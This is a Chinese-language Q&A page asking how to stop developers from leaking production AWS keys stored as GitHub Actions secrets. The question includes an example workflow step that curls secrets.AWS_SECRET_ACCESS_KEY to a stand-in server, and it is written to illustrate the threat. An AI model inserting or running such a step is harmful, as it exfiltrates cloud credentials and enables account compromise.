如何解决如何保护Github Action的生产凭证?
在生产中我可能会丢失一些有关Github Actions的信息,因为似乎开发人员可以提交到存储库的某个分支,那么他们可以获取存储为Github机密的生产密钥。
假设我有两个分支“ dev”和“ prod”。
推送到prod
分支之后,我有Github操作deploy.workflow
,它将我的更新部署到AWS。 Github操作中使用的凭据(AWS_ACCESS_KEY_ID
和AWS_SECRET_ACCESS_KEY
)存储为Github存储库密钥。一切都很好。
假设我们有一个无法访问prod
分支的开发人员。现在,该开发人员可以执行一个新的github操作,推送到“ dev”分支并公开秘密密钥!
动作看起来像这样
on:
push:
branches: [ dev ]
jobs:
expose:
....
- name: Expose secrets
run: curl myserver/key/${{ secrets.AWS_SECRET_ACCESS_KEY }}
查看操作日志,开发人员将能够找到生产密钥!
有什么办法可以防止这种情况发生?
编辑:原来秘密是从日志中过滤掉的,但是仍然可以通过使用curl发送到您的服务器来获取它们。 (代码已更新)
解决方法
无论谁是github存储库的一部分,现在都是团队中的合作者,他们对所做的更改负责。这应该正确地传达给开发人员。
更新
这是github动作中非常需要的功能,基本上允许分支机构对秘密进行范围界定。
如果您想在其中添加案例方案,以便为他们提供更多反馈,请参见此处的最新讨论
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。